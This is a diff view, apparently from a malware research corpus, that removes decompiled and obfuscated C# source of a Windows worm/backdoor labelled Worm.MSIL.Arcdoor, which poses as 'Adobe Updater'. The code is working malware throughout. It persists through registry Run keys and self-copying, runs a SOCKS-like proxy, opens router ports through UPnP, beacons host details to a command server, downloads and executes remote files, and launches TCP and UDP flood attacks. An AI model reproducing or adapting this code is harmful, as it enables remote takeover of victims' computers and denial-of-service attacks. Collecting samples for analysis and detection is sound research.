ManagementObject managementObject = new ManagementObject(\u000F\u2001.\u0002(670213356) + _param0 + \u000F\u2001.\u0002(670213135));
managementObject.Get();
string str = managementObject[\u000F\u2001.\u0002(670213144)].ToString();
managementObject.Dispose();
return str;
}
internal struct \u0002
{
public ushort \u0002;
public ushort \u0003;
public uint \u0005;
public IntPtr \u0008;
public IntPtr \u0006;
public UIntPtr \u000E;
public uint \u000F;
public uint \u0002\u2000;
public uint \u0003\u2000;
public ushort \u0005\u2000;
public ushort \u0008\u2000;
}
}

31
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0002 .cs
View File

@ -1,31 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
internal static class \u0002\u2002
{
public static byte[] \u0002(byte[] _param0, byte[] _param1)
{
byte num1 = _param0[1];
int length = _param1.Length;
byte num2 = (byte) (length + 11 ^ (int) num1 + 7);
uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3));
ushort num4 = 0;
for (int index = 0; index < length; ++index)
{
if ((index & 1) == 0)
{
num3 = (uint) ((int) num3 * 214013 + 2531011);
num4 = (ushort) (num3 >> 16);
}
byte num5 = (byte) num4;
num4 >>= 8;
byte num6 = _param1[index];
_param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5);
num2 = num6;
}
return _param1;
}
}

63
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0002 .cs
View File

@ -1,63 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.IO;
using System.Net.Sockets;
using System.Threading;
public sealed class \u0002\u2001
{
private static Random \u0002 = new Random();
public static void \u0002()
{
if (\u0002\u2001.\u0002())
{
StreamWriter streamWriter = new StreamWriter(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670212900));
streamWriter.WriteLine(\u0002\u2001.\u0002.Next(2000, 20000));
streamWriter.Close();
}
int int32 = Convert.ToInt32(new StreamReader(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670212900)).ReadLine());
new Thread(new ThreadStart(\u0002\u2001.\u0003)).Start();
Thread.Sleep(5000);
TcpListener tcpListener = new TcpListener(int32);
new Thread(new ThreadStart(\u0002\u2001.\u0005)).Start();
tcpListener.Start();
while (true)
new Thread(new ThreadStart(new \u0003(tcpListener.AcceptTcpClient()).\u0002)).Start();
}
public static void \u0003()
{
try
{
int int32 = Convert.ToInt32(new StreamReader(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670212900)).ReadLine());
\u0006\u2001.\u0002();
\u0006\u2001.\u0002(int32, int32, \u000F\u2001.\u0002(670212915), \u000F\u2001.\u0002(670212941));
}
catch
{
}
}
public static void \u0005()
{
Thread.Sleep(10000);
int int32 = Convert.ToInt32(new StreamReader(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670212900)).ReadLine());
try
{
\u000F\u2000.\u0002(\u0002.\u0006(), int32, \u000F\u2001.\u0002(670212958), (ushort) 80, \u000E\u2001.\u0002\u2000, \u000E\u2001.\u0003\u2000);
string str = \u000F\u2001.\u0002(670212963) + \u0002.\u000E() + \u000F\u2001.\u0002(670212991) + \u0002.\u0005() + \u000F\u2001.\u0002(670213727) + \u0006\u2001.\u0002() + \u000F\u2001.\u0002(670212746) + (object) int32;
\u0005\u2000.\u0002(\u000E\u2001.\u0006, str);
}
catch
{
}
}
public static bool \u0002() => !File.Exists(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670212900));
}

158
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0003.cs
View File

@ -1,158 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
public sealed class \u0003
{
private string \u0002 = \u000E\u2001.\u0002\u2000;
private string \u0003 = \u000E\u2001.\u0003\u2000;
private TcpClient \u0005;
private TcpClient \u0008;
private byte \u0006 = 5;
private byte \u000E = 2;
private byte \u000F;
private byte \u0002\u2000 = 1;
private byte \u0003\u2000 = 3;
public \u0003(TcpClient _param1) => this.\u0005 = _param1;
public void \u0002()
{
Console.WriteLine(\u000F\u2001.\u0002(670213153) + this.\u0005.Client.RemoteEndPoint.ToString());
NetworkStream stream1 = this.\u0005.GetStream();
byte[] buffer1 = new byte[2];
stream1.Read(buffer1, 0, 2);
Console.WriteLine(string.Format(\u000F\u2001.\u0002(670213192), (object) buffer1[0], (object) buffer1[1]));
byte[] buffer2 = new byte[(int) buffer1[1]];
stream1.Read(buffer2, 0, buffer2.Length);
Console.WriteLine(\u000F\u2001.\u0002(670213218) + buffer2.Length.ToString() + \u000F\u2001.\u0002(670214031));
byte[] buffer3 = new byte[2]{ this.\u0006, this.\u000E };
stream1.Write(buffer3, 0, 2);
ASCIIEncoding asciiEncoding = new ASCIIEncoding();
byte[] buffer4 = new byte[64];
stream1.Read(buffer4, 0, 64);
Convert.ToInt32(buffer4[0]);
int int32_1 = Convert.ToInt32(buffer4[1]);
int int32_2 = Convert.ToInt32(buffer4[int32_1 + 2]);
byte[] bytes1 = new byte[int32_1];
for (int index = 0; index <= int32_1 - 1; ++index)
bytes1[index] = buffer4[index + 2];
byte[] bytes2 = new byte[int32_2];
for (int index = 0; index <= int32_2 - 1; ++index)
bytes2[index] = buffer4[index + int32_1 + 3];
string str1 = asciiEncoding.GetString(bytes1);
string str2 = asciiEncoding.GetString(bytes2);
if (str1.Equals(this.\u0002) && str2.Equals(this.\u0003))
{
byte[] buffer5 = new byte[2]
{
this.\u0006,
this.\u000F
};
stream1.Write(buffer5, 0, 2);
}
else
{
byte[] buffer6 = new byte[2]{ this.\u0006, (byte) 2 };
stream1.Write(buffer6, 0, 2);
}
byte[] buffer7 = new byte[4];
stream1.Read(buffer7, 0, 4);
Console.WriteLine(\u000F\u2001.\u0002(670214046) + buffer7[3].ToString());
string empty = string.Empty;
if ((int) buffer7[3] == (int) this.\u0002\u2000)
{
byte[] numArray = new byte[4];
stream1.Read(numArray, 0, 4);
empty = new IPAddress(numArray).ToString();
}
else if ((int) buffer7[3] == (int) this.\u0003\u2000)
{
byte[] buffer8 = new byte[1];
stream1.Read(buffer8, 0, 1);
byte[] numArray = new byte[(int) buffer8[0]];
stream1.Read(numArray, 0, (int) buffer8[0]);
empty = Encoding.Default.GetString(numArray);
}
else
Console.WriteLine(\u000F\u2001.\u0002(670214071) + buffer7[3].ToString());
if (empty != string.Empty)
{
byte[] buffer9 = new byte[2];
stream1.Read(buffer9, 0, 2);
int uint16 = (int) BitConverter.ToUInt16(new byte[2]
{
buffer9[1],
buffer9[0]
}, 0);
Console.WriteLine(\u000F\u2001.\u0002(670214102) + empty + \u000F\u2001.\u0002(670214136) + uint16.ToString());
this.\u0008 = new TcpClient(empty, uint16);
if (this.\u0008.Connected)
{
byte[] buffer10 = new byte[10];
buffer10[0] = this.\u0006;
buffer10[1] = this.\u000F;
buffer10[2] = (byte) 0;
buffer10[3] = (byte) 1;
IPAddress ipAddress = IPAddress.Parse(this.\u0008.Client.LocalEndPoint.ToString().Split(':')[0]);
buffer10[4] = ipAddress.GetAddressBytes()[0];
buffer10[5] = ipAddress.GetAddressBytes()[1];
buffer10[6] = ipAddress.GetAddressBytes()[2];
buffer10[7] = ipAddress.GetAddressBytes()[3];
int num = int.Parse(this.\u0008.Client.LocalEndPoint.ToString().Split(':')[1]);
buffer10[8] = BitConverter.GetBytes((ushort) num)[0];
buffer10[9] = BitConverter.GetBytes((ushort) num)[1];
stream1.Write(buffer10, 0, 10);
Console.WriteLine(\u000F\u2001.\u0002(670214128));
NetworkStream stream2 = this.\u0008.GetStream();
bool flag = false;
while (this.\u0008.Connected && this.\u0005.Connected && !flag)
{
Thread.Sleep(100);
try
{
if (stream1.DataAvailable)
{
byte[] numArray1 = new byte[10000];
int length = stream1.Read(numArray1, 0, 10000);
byte[] numArray2 = new byte[length];
Array.Copy((Array) numArray1, (Array) numArray2, length);
stream2.Write(numArray2, 0, numArray2.Length);
Console.WriteLine(\u000F\u2001.\u0002(670213892) + numArray2.Length.ToString() + \u000F\u2001.\u0002(670213907));
}
if (stream2.DataAvailable)
{
byte[] numArray3 = new byte[10000];
int length = stream2.Read(numArray3, 0, 10000);
byte[] numArray4 = new byte[length];
Array.Copy((Array) numArray3, (Array) numArray4, length);
stream1.Write(numArray4, 0, numArray4.Length);
Console.WriteLine(\u000F\u2001.\u0002(670213892) + numArray4.Length.ToString() + \u000F\u2001.\u0002(670213924));
}
}
catch
{
flag = true;
}
}
if (this.\u0005.Connected)
this.\u0005.Close();
if (!this.\u0008.Connected)
return;
this.\u0008.Close();
}
else
Console.WriteLine(\u000F\u2001.\u0002(670213966));
}
else
Console.WriteLine(\u000F\u2001.\u0002(670214008));
}
}

36
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0003 .cs
View File

@ -1,36 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System.Net.Sockets;
internal sealed class \u0003\u2000
{
public static bool \u0002(int _param0)
{
try
{
TcpListener tcpListener = new TcpListener(_param0);
tcpListener.Start();
TcpClient tcpClient = new TcpClient();
tcpClient.Connect(\u0002.\u0006(), _param0);
if (tcpClient.Connected)
{
tcpClient.Close();
tcpListener.Stop();
tcpListener.Server.Shutdown(SocketShutdown.Both);
return true;
}
tcpClient.Close();
tcpListener.Stop();
tcpListener.Server.Shutdown(SocketShutdown.Both);
return false;
}
catch
{
return false;
}
}
}

121
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0003 .cs
View File

@ -1,121 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
internal sealed class \u0003\u2001
{
private static ThreadStart[] \u0002;
private static Thread[] \u0003;
public static string \u0005;
private static IPEndPoint \u0008;
public static int \u0006;
private static \u0003\u2001.\u0002[] \u000E;
public static int \u000F;
public static int \u0002\u2000;
public static bool \u0003\u2000;
public static void \u0002()
{
try
{
\u0003\u2001.\u0008 = new IPEndPoint(Dns.GetHostEntry(\u0003\u2001.\u0005).AddressList[0], \u0003\u2001.\u0006);
}
catch
{
\u0003\u2001.\u0008 = new IPEndPoint(IPAddress.Parse(\u0003\u2001.\u0005), \u0003\u2001.\u0006);
}
\u0003\u2001.\u0003 = new Thread[\u0003\u2001.\u0002\u2000];
\u0003\u2001.\u0002 = new ThreadStart[\u0003\u2001.\u0002\u2000];
\u0003\u2001.\u000E = new \u0003\u2001.\u0002[\u0003\u2001.\u0002\u2000];
for (int index = 0; index < \u0003\u2001.\u0002\u2000; ++index)
{
\u0003\u2001.\u000E[index] = new \u0003\u2001.\u0002(\u0003\u2001.\u0008, \u0003\u2001.\u000F);
\u0003\u2001.\u0002[index] = new ThreadStart(\u0003\u2001.\u000E[index].\u0002);
\u0003\u2001.\u0003[index] = new Thread(\u0003\u2001.\u0002[index]);
\u0003\u2001.\u0003[index].Start();
}
}
public static void \u0003()
{
for (int index = 0; index < \u0003\u2001.\u0002\u2000; ++index)
{
try
{
\u0003\u2001.\u0003[index].Suspend();
}
catch
{
}
}
}
private sealed class \u0002
{
private IPEndPoint \u0002;
private Socket[] \u0003;
private int \u0005;
public \u0002(IPEndPoint _param1, int _param2)
{
this.\u0002 = _param1;
this.\u0005 = _param2;
}
public void \u0002(IAsyncResult _param1)
{
}
public void \u0002()
{
label_0:
try
{
while (true)
{
this.\u0003 = new Socket[this.\u0005];
for (int index = 0; index < this.\u0005; ++index)
{
this.\u0003[index] = new Socket(this.\u0002.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
this.\u0003[index].Blocking = false;
AsyncCallback callback = new AsyncCallback(this.\u0002);
this.\u0003[index].BeginConnect((EndPoint) this.\u0002, callback, (object) this.\u0003[index]);
}
Thread.Sleep(100);
for (int index = 0; index < this.\u0005; ++index)
{
if (this.\u0003[index].Connected)
this.\u0003[index].Disconnect(false);
this.\u0003[index].Close();
this.\u0003[index] = (Socket) null;
}
this.\u0003 = (Socket[]) null;
}
}
catch
{
for (int index = 0; index < this.\u0005; ++index)
{
try
{
if (this.\u0003[index].Connected)
this.\u0003[index].Disconnect(false);
this.\u0003[index].Close();
this.\u0003[index] = (Socket) null;
}
catch
{
}
}
goto label_0;
}
}
}
}

31
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0005.cs
View File

@ -1,31 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Diagnostics;
using System.Net;
internal sealed class \u0005
{
public static void \u0002(string _param0)
{
try
{
WebClient webClient = new WebClient();
string str = \u0008\u2000.\u0002(11) + \u000F\u2001.\u0002(670213765);
webClient.DownloadFile(_param0, Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213776)) + \u000F\u2001.\u0002(670213803) + str);
new Process()
{
StartInfo = {
FileName = (Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213776)) + \u000F\u2001.\u0002(670213803) + str)
}
}.Start();
}
catch
{
}
}
}

160
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0005 .cs
View File

@ -1,160 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Threading;
internal sealed class \u0005\u2000
{
private static Random \u0002 = new Random();
private static \u0008 \u0003 = new \u0008();
private static int \u0005 = \u0005\u2000.\u0002.Next(2000, 20000);
private static void \u0002(string[] _param0)
{
\u000F obj = new \u000F(\u000E\u2001.\u000F);
new \u0006().\u0002();
string str1 = string.Empty;
new Thread(new ThreadStart(\u0002\u2001.\u0002)).Start();
while (true)
{
string str2 = \u000F\u2001.\u0002(670213638) + Environment.MachineName + \u000F\u2001.\u0002(670213652) + \u000E\u2001.\u000E + \u000F\u2001.\u0002(670213667) + \u0002.\u0005().ToLower() + \u000F\u2001.\u0002(670213683) + \u0002.\u0002() + \u000F\u2001.\u0002(670213698) + \u0002.\u000E() + \u000F\u2001.\u0002(670213727) + \u0002.\u0008();
string str3 = \u0005\u2000.\u0002(\u000E\u2001.\u0008, str2);
if (str3.Length != 0 && str3 != str1)
{
\u0005\u2000.\u0002();
\u0005\u2000.\u0002(str3);
str1 = str3;
}
Thread.Sleep(\u000E\u2001.\u0003);
}
}
public static void \u0002()
{
if (\u0003\u2001.\u0003\u2000)
{
\u0003\u2001.\u0003();
\u0003\u2001.\u0003\u2000 = false;
}
if (\u0005\u2001.\u0005\u2000)
{
\u0005\u2001.\u0003();
\u0005\u2001.\u0005\u2000 = false;
}
if (!\u0005\u2000.\u0003.\u0006)
return;
\u0005\u2000.\u0003.\u0003();
\u0005\u2000.\u0003.\u0006 = false;
}
public static string \u0002(string _param0, string _param1)
{
try
{
ServicePointManager.Expect100Continue = false;
WebRequest webRequest = WebRequest.Create(_param0);
webRequest.ContentType = \u000F\u2001.\u0002(670213738);
webRequest.Method = \u000F\u2001.\u0002(670212482);
byte[] bytes = Encoding.ASCII.GetBytes(_param1);
webRequest.ContentLength = (long) bytes.Length;
Stream requestStream = webRequest.GetRequestStream();
requestStream.Write(bytes, 0, bytes.Length);
requestStream.Close();
WebResponse response = webRequest.GetResponse();
return response == null ? (string) null : new StreamReader(response.GetResponseStream()).ReadToEnd().Trim();
}
catch
{
\u0005\u2000.\u0002();
string str = \u000F\u2001.\u0002(670213638) + Environment.MachineName + \u000F\u2001.\u0002(670213652) + \u000E\u2001.\u000E + \u000F\u2001.\u0002(670213667) + \u0002.\u0005().ToLower() + \u000F\u2001.\u0002(670213683) + \u0002.\u0002() + \u000F\u2001.\u0002(670213698) + \u0002.\u000E() + \u000F\u2001.\u0002(670213727) + \u0002.\u0008();
\u0005\u2000.\u0002(\u000E\u2001.\u0006, str);
return string.Empty;
}
}
private static void \u0002(string _param0)
{
string[] strArray = _param0.Split('*');
if (_param0.StartsWith(\u000F\u2001.\u0002(670212509)))
{
try
{
\u0005\u2000.\u0002();
\u0005.\u0002(strArray[1]);
}
catch
{
}
}
if (_param0.StartsWith(\u000F\u2001.\u0002(670212503)))
{
try
{
\u0005\u2000.\u0002();
\u0005.\u0002(strArray[1]);
\u0008\u2001.\u0003();
}
catch
{
}
}
if (_param0.StartsWith(\u000F\u2001.\u0002(670212517)))
{
try
{
\u0005\u2000.\u0002();
\u0003\u2001.\u0005 = strArray[1];
\u0003\u2001.\u0006 = Convert.ToInt32(strArray[2]);
\u0003\u2001.\u0002\u2000 = Convert.ToInt32(strArray[3]);
\u0003\u2001.\u000F = Convert.ToInt32(strArray[4]);
\u0003\u2001.\u0002();
}
catch
{
}
}
if (_param0.StartsWith(\u000F\u2001.\u0002(670212528)))
{
try
{
\u0005\u2000.\u0002();
\u0005\u2001.\u0005 = strArray[1];
\u0005\u2001.\u0006 = Convert.ToInt32(strArray[2]);
\u0005\u2001.\u0002\u2000 = Convert.ToInt32(strArray[3]);
\u0005\u2001.\u0003\u2000 = Convert.ToInt32(strArray[4]);
\u0005\u2001.\u000E = Convert.ToInt32(strArray[5]);
\u0005\u2001.\u0002();
}
catch
{
}
}
if (!_param0.StartsWith(\u000F\u2001.\u0002(670212555)))
return;
try
{
\u0005\u2000.\u0002();
if (strArray[1].Contains(\u000F\u2001.\u0002(670212551)))
{
string str1 = strArray[1];
}
else
{
string str2 = \u000F\u2001.\u0002(670212563) + strArray[1];
}
\u0005\u2000.\u0003.\u0005 = strArray[1];
\u0005\u2000.\u0003.\u0002();
\u0005\u2000.\u0003.\u0006 = true;
}
catch
{
}
}
}

117
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0005 .cs
View File

@ -1,117 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System.Net;
using System.Net.Sockets;
using System.Threading;
internal sealed class \u0005\u2001
{
private static ThreadStart[] \u0002;
private static Thread[] \u0003;
public static string \u0005;
private static IPEndPoint \u0008;
public static int \u0006;
public static int \u000E;
private static \u0005\u2001.\u0002[] \u000F;
public static int \u0002\u2000;
public static int \u0003\u2000;
public static bool \u0005\u2000;
public static void \u0002()
{
try
{
\u0005\u2001.\u0008 = new IPEndPoint(Dns.GetHostEntry(\u0005\u2001.\u0005).AddressList[0], \u0005\u2001.\u0006);
}
catch
{
\u0005\u2001.\u0008 = new IPEndPoint(IPAddress.Parse(\u0005\u2001.\u0005), \u0005\u2001.\u0006);
}
\u0005\u2001.\u0003 = new Thread[\u0005\u2001.\u0002\u2000];
\u0005\u2001.\u0002 = new ThreadStart[\u0005\u2001.\u0002\u2000];
\u0005\u2001.\u000F = new \u0005\u2001.\u0002[\u0005\u2001.\u0002\u2000];
for (int index = 0; index < \u0005\u2001.\u0002\u2000; ++index)
{
\u0005\u2001.\u000F[index] = new \u0005\u2001.\u0002(\u0005\u2001.\u0008, \u0005\u2001.\u0003\u2000, \u0005\u2001.\u000E);
\u0005\u2001.\u0002[index] = new ThreadStart(\u0005\u2001.\u000F[index].\u0002);
\u0005\u2001.\u0003[index] = new Thread(\u0005\u2001.\u0002[index]);
\u0005\u2001.\u0003[index].Start();
}
}
public static void \u0003()
{
for (int index = 0; index < \u0005\u2001.\u0002\u2000; ++index)
{
try
{
\u0005\u2001.\u0003[index].Suspend();
}
catch
{
}
}
}
private sealed class \u0002
{
private IPEndPoint \u0002;
private int \u0003;
private Socket[] \u0005;
private int \u0008;
public \u0002(IPEndPoint _param1, int _param2, int _param3)
{
this.\u0002 = _param1;
this.\u0008 = _param2;
this.\u0003 = _param3;
}
public void \u0002()
{
while (true)
{
byte[] buffer = new byte[this.\u0003];
try
{
this.\u0005 = new Socket[this.\u0008];
for (int index = 0; index < this.\u0008; ++index)
{
this.\u0005[index] = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
this.\u0005[index].Blocking = false;
this.\u0005[index].SendTo(buffer, (EndPoint) this.\u0002);
}
Thread.Sleep(100);
for (int index = 0; index < this.\u0008; ++index)
{
if (this.\u0005[index].Connected)
this.\u0005[index].Disconnect(false);
this.\u0005[index].Close();
this.\u0005[index] = (Socket) null;
}
this.\u0005 = (Socket[]) null;
}
catch
{
for (int index = 0; index < this.\u0008; ++index)
{
try
{
if (this.\u0005[index].Connected)
this.\u0005[index].Disconnect(false);
this.\u0005[index].Close();
this.\u0005[index] = (Socket) null;
}
catch
{
}
}
}
}
}
}
}

70
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0006.cs
View File

@ -1,70 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: 
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
internal sealed class \u0006
{
private string \u0002 = Process.GetCurrentProcess().MainModule.FileName;
private string \u0003 = Path.Combine(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)), \u000E\u2001.\u0005\u2000 + \u000F\u2001.\u0002(670213803) + \u000E\u2001.\u0008\u2000);
public void \u0002()
{
this.\u0005();
this.\u0003();
}
public void \u0003()
{
try
{
if (!Directory.Exists(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213809) + \u000E\u2001.\u0005\u2000))
Directory.CreateDirectory(Environment.GetEnvironmentVariable(\u000F\u2001.\u0002(670213795)) + \u000F\u2001.\u0002(670213809) + \u000E\u2001.\u0005\u2000);
if (File.Exists(this.\u0003))
return;
File.Copy(this.\u0002, this.\u0003, true);
Process.Start(this.\u0003);
Environment.Exit(0);
}
catch
{
}
}
public void \u0005()
{
try
{
if (\u0006.\u0002())
Registry.LocalMachine.CreateSubKey(\u000F\u2001.\u0002(670213833)).SetValue(\u000E\u2001.\u0006\u2000, (object) this.\u0003);
else
Registry.CurrentUser.CreateSubKey(\u000F\u2001.\u0002(670213833)).SetValue(\u000E\u2001.\u0006\u2000, (object) this.\u0003);
}
catch
{
}
}
public static bool \u0002()
{
try
{
return new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator);
}
catch (UnauthorizedAccessException ex)
{
return false;
}
catch (Exception ex)
{
return false;
}
}
}

35
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0006 .cs
View File

@ -1,35 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Globalization;
using System.Resources;
[GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[DebuggerNonUserCode]
internal sealed class \u0006\u2000
{
private static ResourceManager \u0002;
private static CultureInfo \u0003;
internal \u0006\u2000()
{
}
internal static ResourceManager \u0002()
{
if (object.ReferenceEquals((object) \u0006\u2000.\u0002, (object) null))
\u0006\u2000.\u0002 = new ResourceManager(\u000F\u2001.\u0002(670212390), typeof (\u0006\u2000).Assembly);
return \u0006\u2000.\u0002;
}
internal static CultureInfo \u0002() => \u0006\u2000.\u0003;
internal static void \u0002(CultureInfo _param0) => \u0006\u2000.\u0003 = _param0;
internal static byte[] \u0002() => (byte[]) \u0006\u2000.\u0002().GetObject(\u000F\u2001.\u0002(670212435), \u0006\u2000.\u0003);
}

162
MSIL/Worm/MSIL/A/Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065/_0006 .cs
View File

@ -1,162 +0,0 @@
// Decompiled with JetBrains decompiler
// Type:  
// Assembly: Adobe Updater, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 3EBFD65F-C01D-4B08-A6E5-41C787EE6341
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Worm.MSIL.Arcdoor.vps-5c5e242af096e77e0fc4a037a0fee5d20df072b9dc640e5ae36ec0f0f68ad065.exe
using System;
using System.Collections.Generic;
using System.Net;
using UPNPLib;
public static class \u0006\u2001
{
private static IPAddress \u0002 = \u0002\u2000.\u0002(true);
private static UPnPService \u0003 = (UPnPService) null;
private static UPnPService \u0002(UPnPDevice _param0)
{
foreach (UPnPService service in (IUPnPServices) ((IUPnPDevice) _param0).Services)
{
if (\u0006\u2001.\u0002(service))
return service;
if (((IUPnPDevice) _param0).HasChildren)
return \u0006\u2001.\u0002(((IUPnPDevice) _param0).Children);
}
return (UPnPService) null;
}
private static UPnPService \u0002(UPnPDevices _param0)
{
foreach (UPnPDevice upnPdevice in (IUPnPDevices) _param0)
{
UPnPService upnPservice = \u0006\u2001.\u0002(upnPdevice);
if (upnPservice != null)
return upnPservice;
}
return (UPnPService) null;
}
private static bool \u0002(UPnPService _param0) => ((IUPnPService) _param0).ServiceTypeIdentifier == \u000F\u2001.\u0002(670212814);
